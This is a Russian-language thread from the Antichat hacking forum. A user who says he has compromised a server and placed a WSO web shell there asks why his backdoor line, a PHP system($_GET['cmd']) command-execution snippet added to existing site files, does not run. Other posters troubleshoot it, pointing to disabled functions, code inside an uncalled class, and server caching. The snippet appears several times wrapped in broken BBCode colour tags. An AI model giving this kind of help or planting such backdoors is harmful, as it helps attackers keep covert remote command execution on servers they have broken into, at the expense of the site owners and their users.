ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Не выполняется мой код в php-файлах (https://forum.antichat.xyz/showthread.php?t=434887)

blackbox 23.12.2015 21:19

В общем залился на сервер, подумал что нужно забекдорить пару файлов, но тут довольно странная ситуация возникла. Например я взял файл из диры, где лежит мой WSO (в файле описан простенький класс), добавил туда банальное:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cmd'[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cmd'[/COLOR][COLOR="#007700"]]);
}[/
COLOR][/COLOR

Но ничего не работает. Создал в папке чистый файл с этим содержимым - вывод отображается. В папке выше лежит htaccess, но там вроде ничего странного не нашел, только rewrite rules. Что это может быть?

BabaDook 24.12.2015 12:47

Цитата:

Сообщение от blackbox

В общем залился на сервер, подумал что нужно забекдорить пару файлов, но тут довольно странная ситуация возникла. Например я взял файл из диры, где лежит мой WSO (в файле описан простенький класс), добавил туда банальное:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cmd'[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cmd'[/COLOR][COLOR="#007700"]]);
}[/
COLOR][/COLOR

Но ничего не работает. Создал в папке чистый файл с этим содержимым - вывод отображается. В папке выше лежит htaccess, но там вроде ничего странного не нашел, только rewrite rules. Что это может быть?

phpinfo посмотри, наверное там дисабле функцион system exec

blackbox 24.12.2015 13:23

Цитата:

Сообщение от BabaDook

phpinfo посмотри, наверное там дисабле функцион system exec

Нет, отключенных функций нету, да и ошибку бы выдало. Если в новом файле прописать, то все работает. А в тех файлах что я изменял даже echo не выводилось.

private_static 24.12.2015 13:41

Цитата:

Сообщение от blackbox

В общем залился на сервер, подумал что нужно забекдорить пару файлов, но тут довольно странная ситуация возникла. Например я взял файл из диры, где лежит мой WSO (в файле описан простенький класс), добавил туда банальное:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cmd'[/COLOR][COLOR="#007700"])
{
[/
COLOR][COLOR="#0000BB"]system[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'cmd'[/COLOR][COLOR="#007700"]]);
}[/
COLOR][/COLOR

Но ничего не работает. Создал в папке чистый файл с этим содержимым - вывод отображается. В папке выше лежит htaccess, но там вроде ничего странного не нашел, только rewrite rules. Что это может быть?

если в файле описан класс это не значит что экземпляр этого класса создаётся в этом же скрипте

к примеру имеем следующий код в файле test.php:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

в данном случае вызова system() не произойдёт если вы обратились к данному скрипту в виде test.php?cmd=whoami, потому что в этом скрипте только определили функцию но не вызвали её

а вот в таком случае всё отработает:

PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

отработает потому что test() вызывается в этом же скрипте

либо вставляйте свой код в место в котором он тут же выполнится, либо ищите где и когда создаётся объект протрояненного класса и уже обращайтесь к скрипту в котором идёт создание этого объекта и работа с его методами

blackbox 24.12.2015 15:39

Цитата:

Сообщение от private_static

если в файле описан класс это не значит что экземпляр этого класса создаётся в этом же скрипте
к примеру имеем следующий код в файле test.php:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

в данном случае вызова system() не произойдёт если вы обратились к данному скрипту в виде test.php?cmd=whoami, потому что в этом скрипте только определили функцию но не вызвали её
а вот в таком случае всё отработает:
PHP код:

[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR

отработает потому что test() вызывается в этом же скрипте
либо вставляйте свой код в место в котором он тут же выполнится, либо ищите где и когда создаётся объект протрояненного класса и уже обращайтесь к скрипту в котором идёт создание этого объекта и работа с его методами

Да, это понятно, я не в классе вставлял код и не в описании функции. Я вынес за пределы, но суть не поменялась. Опять же, резюмируя - когда я добавляю код в существующие файлы, он не выполняется, причем никакой, даже echo, а когда я создал новый файл, но в нем все отработало. Вот.

private_static 24.12.2015 15:51

Цитата:

Сообщение от blackbox

Да, это понятно, я не в классе вставлял код и не в описании функции. Я вынес за пределы, но суть не поменялась. Опять же, резюмируя - когда я добавляю код в существующие файлы, он не выполняется, причем никакой, даже echo, а когда я создал новый файл, но в нем все отработало. Вот.

быть может там система кеширования какая стоит

blackbox 24.12.2015 16:52

Цитата:

Сообщение от private_static

быть может там система кеширования какая стоит

Возможно.


Время: 03:00